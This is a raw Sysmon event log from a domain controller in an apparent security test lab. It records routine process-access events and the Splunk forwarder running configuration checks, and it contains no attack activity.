09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2401-000000007F01}4540C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-2952-5F80-2301-000000007F01}45804152C:\Windows\system32\cmd.exe{A5F018FF-2952-5F80-2401-000000007F01}4540C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-2952-5F80-2401-000000007F01}4540C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-2952-5F80-2301-000000007F01}4580C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000005273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2301-000000007F01}4580C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2301-000000007F01}4580C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.055{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2952-5F80-2301-000000007F01}4580C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18319|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.066{A5F018FF-2952-5F80-2301-000000007F01}4580C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.039{A5F018FF-2951-5F80-2201-000000007F01}15924724C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-3101-000000007F01}664C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.570{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C: